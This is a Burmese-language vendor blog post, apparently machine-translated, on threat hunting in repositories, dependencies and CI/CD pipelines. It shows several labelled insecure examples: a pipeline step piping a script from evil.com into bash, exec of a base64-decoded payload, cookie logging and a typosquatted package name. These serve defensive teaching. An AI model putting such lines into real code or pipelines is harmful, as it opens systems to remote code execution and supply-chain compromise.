ဆိုက်ဘာခြိမ်းခြောက်မှုရှာဖွေခြင်း - ခြိမ်းခြောက်မှုရှာဖွေသူ

ကုဒ်ဖြင့် ခြိမ်းခြောက်မှုရှာဖွေခြင်း- Repos များတွင် အန္တရာယ်ရှိသော ပုံစံများကို ခြေရာခံနည်း

မာတိကာ

မဖြစ်မနေဖတ်သင့်သောပို့စ်များ

စိတ်ဝင်စားဖွယ်ကောင်းသော နောက်ဆုံးပို့စ်များ

ခြိမ်းခြောက်မှုရှာဖွေခြင်းကို ဘယ်ဘက်သို့ ရွှေ့ခြင်း- ကွန်ရက်များမှ ရင်းမြစ်သိုလှောင်ရုံများအထိ

ရိုးရာခြိမ်းခြောက်မှုရှာဖွေခြင်းသည် ကွန်ရက်များနှင့် endpoint logs များတွင် စတင်ခဲ့သည်။ သို့သော် ခေတ်သစ်ဖွံ့ဖြိုးတိုးတက်မှုတွင်၊ အန္တရာယ်ရှိသောယုတ္တိဗေဒသည် repositories များနှင့် infrastructure-as-code အတွင်းသို့ စောစီးစွာ ခိုးဝင်လေ့ရှိသည်။ ဆိုက်ဘာခြိမ်းခြောက်မှုရှာဖွေခြင်းကို ရွှေ့ခြင်းဖြင့် အဖွဲ့များသည် တိုက်ခိုက်သူများ ပထမဆုံးရောက်ရှိသည့် ခြိမ်းခြောက်မှုများကို ကုဒ်တွင် ထောက်လှမ်းကြသည်။ commits နှင့် pipeline အဓိပ္ပါယ်များ ကျွမ်းကျင်သော ခြိမ်းခြောက်မှုရှာဖွေသူသည် ထုတ်လုပ်မှုသတိပေးချက်များကို မစောင့်ပါ။ ယင်းအစား ၎င်းတို့သည် ခွဲခြမ်းစိတ်ဖြာသည် pull requests နှင့် config ပြောင်းလဲမှုများ ပြုလုပ်ပြီး၊ မေးမြန်းသည်- ဒီယုတ္တိဗေဒက ဘေးကင်းပါသလား၊ ရည်ရွယ်ချက်ရှိရှိနဲ့ အတည်ပြုထားပါသလား။

ဥပမာ:

// Insecure: sensitive cookies exposed console.log("Session cookie:", document.cookie);   // Safer approach res.cookie("sessionId", token, {   httpOnly: true,   secure: true,   sameSite: "Strict" }); 

မလုံခြုံသောပုံစံများကိုဖမ်းယူခြင်း commit အချိန်သည် ကြိုတင်ကာကွယ်သည့် ဆိုက်ဘာခြိမ်းခြောက်မှုရှာဖွေခြင်း၏ အဓိကအလေ့အကျင့်တစ်ခုဖြစ်သည်။

ကုဒ်တွင် အန္တရာယ်ရှိသော ပုံစံများကို ဖော်ထုတ်ခြင်းနှင့် Commits

ကုဒ်ဘေ့စ်များတွင် ခြိမ်းခြောက်မှုရှာဖွေခြင်းကို အသုံးပြုသည့်အခါ၊ ကျော်လွန်၍ ကြည့်ရှုပါ။ standard အားနည်းချက်များ။ အန္တရာယ်ရှိသော commits တွင် မတူညီသော လက်ဗွေရာများ ရှိသည်-

ဥပမာ:

# Suspicious commit payload = "YmFkX3N0dWZm"  # Looks like harmless data exec(base64.b64decode(payload))    

အခုဆိုရင်:

# Safer # Explicit imports and trusted libraries only 

ခြိမ်းခြောက်မှုရှာဖွေသူသည် ရည်ရွယ်ချက်အတွက် ကွဲပြားမှုများကို စကင်ဖတ်သည်- ၎င်းသည် bug ပြင်ဆင်မှုတစ်ခုလား၊ malware များကို ခိုးသွင်းရန် ကြိုးပမ်းမှုတစ်ခုလား။

အားနည်းချက်ရှိသော မှီခိုမှုများနှင့် ထောက်ပံ့ရေးကွင်းဆက်တိုက်ခိုက်မှုများကို ထောက်လှမ်းခြင်း

မှီခိုမှုများသည် တိုက်ခိုက်သူများအတွက် ရွှေတွင်းတစ်တွင်းဖြစ်သည်။ ခြိမ်းခြောက်မှုရှာဖွေခြင်းကို ထင်ရှားသောနည်းလမ်းများတွင် လုပ်ဆောင်သည်- မြတ်စွာဘုရား or လိုအပ်ချက်များ ထောက်ပံ့ရေးကွင်းဆက် ညှိနှိုင်းမှုများကို ကာကွယ်ပေးသည်။

အဖြစ်များသော တိုက်ခိုက်မှုလမ်းကြောင်းများ-

ဥပမာ:

// Insecure dependency "dependencies": {   "reqeusts": "1.0.0" } 

ဆိုက်ဘာခြိမ်းခြောက်မှုရှာဖွေခြင်းလုပ်ငန်းစဉ်တွင် dependency tree များကိုစောင့်ကြည့်ခြင်း၊ ရင်းမြစ်များကိုအတည်ပြုခြင်းနှင့် သမာဓိစစ်ဆေးမှုများလုပ်ဆောင်ခြင်းတို့ပါဝင်သည်။ ခြိမ်းခြောက်မှုရှာဖွေသူတိုင်းသည် အတည်မပြုရသေးသော dependency များကို သံသယရှိသူများအဖြစ် သဘောထားသင့်သည်။

အမဲလိုက်ခြင်း။ CI/CD Pipelines: အန္တရာယ်ရှိသော တည်ဆောက်မှု ယုတ္တိဗေဒနှင့် နောက်ကွယ်မှတံခါးများ

တိုက်ခိုက်သူတွေ နှစ်သက်တဲ့ CI/CD အဆိပ်ခတ်ထားသော ခြေလှမ်းတစ်လှမ်းသည် အဆောက်အဦတိုင်းကို ကူးစက်သောကြောင့်ဖြစ်သည်။ ခြိမ်းခြောက်မှုရှာဖွေခြင်း pipelines ဆိုတာက တခြားကုဒ်တွေလိုပဲ script တွေကို ပြန်လည်သုံးသပ်တာကို ဆိုလိုပါတယ်။

ညှိနှိုင်းမှု၏ လက္ခဏာများ-

  • မယုံကြည်ရသော URL များမှ ရယူထားသော script များ (curl | bash).
  • လက်မှတ်မထိုးထားသော binaries များကို တိုက်ရိုက် execute လုပ်သည်။
  • Pipeline လျှို့ဝှက်ချက်များကို အဆင့်ဆင့် ဖော်ထုတ်ခြင်း။
  • မလုံခြုံသော Inline bash ဖြင့် အကဲဖြတ်.

ဥပမာ:

# Insecure pipeline steps:   - run: curl http://evil.com/build.sh | bash  

ဘေးကင်းသော အခြားရွေးချယ်စရာ-

# Secure pipeline steps:   - run: ./scripts/build.sh  # Controlled and versioned   

လျင်မြန်သော CI/CD ခြိမ်းခြောက်မှုရှာဖွေခြင်း စစ်ဆေးရမည့်စာရင်း

  • မသိသော URL များမှ remote script များ မရှိပါ
  • ပြင်ပဖိုင်များ၏ checksum များနှင့် လက်မှတ်များကို အတည်ပြုပါ
  • အသုံးပြုမှုကို ကန့်သတ်ပါ အကဲဖြတ် သို့မဟုတ် dynamic shell command များ
  • လျှို့ဝှက်ချက်များကို YAML ဖိုင်များတွင်မဟုတ်ဘဲ vault တွင်သိမ်းဆည်းပါ။
  • ရှေးဟောင်းပစ္စည်း ဦးတည်ရာများကို မှန်မှန်စစ်ဆေးပါ

ဆော့ဖ်ဝဲရေးသားသူများအတွက် ဤစစ်ဆေးရမည့်စာရင်းသည် pipelineဆိုက်ဘာခြိမ်းခြောက်မှုတွေကို ရှာဖွေဖော်ထုတ်ခြင်းဆိုတာ တိတ်ဆိတ်တဲ့ နောက်ကွယ်က တံခါးတွေ ဖြစ်မလာပါဘူး။ ဒီနေရာမှာ ဆိုက်ဘာခြိမ်းခြောက်မှုတွေကို ရှာဖွေဖော်ထုတ်ခြင်းလို့ အဓိပ္ပာယ်ရပါတယ်။ CI/CD ထုတ်လုပ်မှုကုဒ်ကဲ့သို့ပင်၊ အမိန့်ပေးချက်တိုင်းကို စစ်ဆေးသည်။

DevSecOps Workflow များတွင် Threat Hunting ထည့်သွင်းခြင်း

ခြိမ်းခြောက်မှုရှာဖွေခြင်းကို ထိရောက်မှုရှိစေရန်အတွက် ၎င်းကို နေ့စဉ် DevSecOps လုပ်ငန်းစဉ်များတွင် ပေါင်းစပ်ထားရမည်။

  • အလိုအလျောက်စကင်နာများ လျှို့ဝှက်ချက်များ၊ အစက်အပြောက်များနှင့် မလုံခြုံသော ပုံစံများကို ဖမ်းယူပါ။
  • အငြိမ်မနေ အန္တရာယ်ရှိသော API ခေါ်ဆိုမှုများနှင့် ရှုပ်ထွေးမှုများကို အလံပြသည်။
  • လုံခြုံရေးကုဒ် ပြန်လည်သုံးသပ်ခြင်း in pull requests လုပ်ဆောင်ချက်ဆိုင်ရာ ပြန်လည်သုံးသပ်ချက်တစ်ခုမျှသာ မဟုတ်ပါ။
  • အာရုံစိုက်ထားသော စာရင်းစစ်များ အရေးကြီးသော repos များ (auth၊ ငွေပေးချေမှုများ၊ infra) တွင်။

ဤချဉ်းကပ်မှုသည် ပို့ဆောင်မှုကို နှောင့်နှေးခြင်းမရှိဘဲ developer တိုင်းကို ခြိမ်းခြောက်မှုရှာဖွေသူဖြစ်စေသည်။ ဆိုက်ဘာခြိမ်းခြောက်မှုရှာဖွေခြင်းသည် ပုံမှန်ဖြစ်လာသောအခါ၊ malicious code များတွင် ဝှက်ရန်နေရာနည်းပါးလာသည်။

ဆော့ဖ်ဝဲရေးသားသူများကို ခြိမ်းခြောက်မှုရှာဖွေသူများအဖြစ်သို့ ပြောင်းလဲခြင်း

ကုဒ်တွင် ခြိမ်းခြောက်မှုရှာဖွေခြင်းသည် လုံခြုံရေးလေ့ကျင့်ခန်းမဟုတ်ပါ။cisအနီရောင်အသင်းများအတွက် သီးသန့်ထားရှိသည်၊ ၎င်းသည် ဆော့ဖ်ဝဲရေးသားသူ၏ ကျွမ်းကျင်မှုတစ်ခုဖြစ်သည်။ သံသယဖြစ်ဖွယ်ကောင်းသော အရာတိုင်း commitထူးဆန်းသော မှီခိုမှု သို့မဟုတ် pipeline ချိန်ညှိမှုသည် ကျူးကျော်ဝင်ရောက်မှု၏ အစဖြစ်နိုင်သည်။ ဆိုက်ဘာခြိမ်းခြောက်မှုရှာဖွေခြင်းကို သိုလှောင်ရုံများထဲသို့ တွန်းပို့ခြင်းဖြင့် CI/CD အဓိပ္ပာယ်ဖွင့်ဆိုချက်များအရ၊ အဖွဲ့များသည် ဤရွေ့လျားမှုများကို ဦးစွာဖြစ်ပွားသည့်နေရာကို ထောက်လှမ်းကြသည်။

ဆော့ဖ်ဝဲရေးသားသူများအတွက်၊ ၎င်းသည် ရှုထောင့်ပြောင်းလဲခြင်းကို ဆိုလိုသည်- ချို့ယွင်းချက်များကိုသာ မရှာဖွေပါနှင့်၊ ရည်ရွယ်ချက်ကို ရှာဖွေပါ။ အခြေခံ ၁၀ တစ်ခုမှာ အစက်အပြောက်တစ်ခု commit၊ ရိုက်ထည့်ထားသော ပက်ကေ့ဂျ် မြတ်စွာဘုရားဒါမှမဟုတ် pipeline မသိသော server တစ်ခုမှ script တစ်ခုကို ဆွဲထုတ်လိုက်သောအခါ၊ ၎င်းတို့သည် အန္တရာယ်မရှိသော မတော်တဆမှုများ မဟုတ်ပါ။ ၎င်းတို့သည် တိုက်ခိုက်မှုဖြစ်နိုင်ခြေရှိသော vector များဖြစ်သည်။ အင်ဂျင်နီယာအဖွဲ့များအတွင်း ခိုင်မာသော ခြိမ်းခြောက်မှုရှာဖွေသည့် စိတ်ထားသည် တိုက်ခိုက်သူ၏ မသိလိုက်ဘဲ ခိုးဝင်နိုင်ခြေကို လျော့နည်းစေသည်။

လက်တွေ့ကျတဲ့ သင်ခန်းစာတွေကတော့ ပုံမှန်မဟုတ်တာတွေကို စောင့်ကြည့်တာ ပါဝင်ပါတယ်။ commit ပုံစံများ၊ ယုံကြည်စိတ်ချရသော အရင်းအမြစ်များအပေါ် မှီခိုမှုများကို အတည်ပြုခြင်းနှင့် တင်းကျပ်ခြင်း pipelineမလုံခြုံသော script များ သို့မဟုတ် artifact upload များကို ဆန့်ကျင်ခြင်း။ အလိုအလျောက်လုပ်ဆောင်ခြင်းသည် scanning နှင့် static check များတွင် အထောက်အကူဖြစ်စေသော်လည်း၊ မေးခွန်းထုတ်သော ထက်မြက်သော developer review ကို မည်သည့်အရာမှ အစားထိုးမည်မဟုတ်ပါ- ဒါက ဘာလို့ ဒီမှာ ရှိနေတာလဲ၊ ဒါက သက်ဆိုင်သလား။

ဒါကတော့ Tools တွေ ကြိုက်တဲ့နေရာပါ။ ဆိုက်ဂျီနီ ကုဒ်၊ မှီခိုမှုများကို အဆက်မပြတ် စကင်ဖတ်ခြင်းဖြင့် developer များ၏ အသိပညာကို တိုးချဲ့ပေးခြင်းဖြင့် အဖိုးတန် အခန်းကဏ္ဍမှ ပါဝင်ဆောင်ရွက်ပါသည်။ pipelineခိုးဝှက်ထားသော ပက်ကေ့ဂျ်များ၊ ဖော်ထုတ်ခံရသော လျှို့ဝှက်ချက်များ သို့မဟုတ် ဝှက်ထားသော နောက်ကွယ်တံခါးများအတွက် s။ ၎င်းတို့သည် လူသားဆိုက်ဘာခြိမ်းခြောက်မှုရှာဖွေခြင်းကို အစားထိုးခြင်းမရှိသော်လည်း developer များအား ပြဿနာများကို စောစီးစွာသိရှိနိုင်ရန် ပိုမိုကောင်းမွန်သော မြင်သာမှုကို ပေးစွမ်းသည်။

အဆုံးမှာတော့၊ ခြိမ်းခြောက်မှုရှာဖွေခြင်းကို နေ့စဉ် coding workflows များထဲသို့ ယူဆောင်လာခြင်းသည် ထုတ်လုပ်မှုတွင် အံ့အားသင့်စရာများ နည်းပါးစေပြီး software တည်ဆောက်ခြင်းနှင့် ထိန်းသိမ်းခြင်းအတွက် လူတိုင်းအတွက် ပိုမိုလုံခြုံသော lifecycle ကို ဆိုလိုပါသည်။ developer များသည် code ရေးသားရုံသာမက၊ ၎င်းတို့သည် ပထမခံစစ်ဖြစ်သည်။

sca-tools-software-composition-analysis-tools
သင့်ဆော့ဖ်ဝဲလ်အန္တရာယ်များကို ဦးစားပေးသတ်မှတ်ခြင်း၊ ပြုပြင်ခြင်းနှင့် လုံခြုံစေခြင်း
သင့်ရဲ့ အခမဲ့အကောင့်ကို ရယူလိုက်ပါ။
အကြွေးဝယ်ကဒ်မရှိပါ။

သင့်ရဲ့ Software Development နဲ့ Delivery ကို လုံခြုံအောင်ထားပါ

Xygeni ထုတ်ကုန်အစုံနှင့်အတူ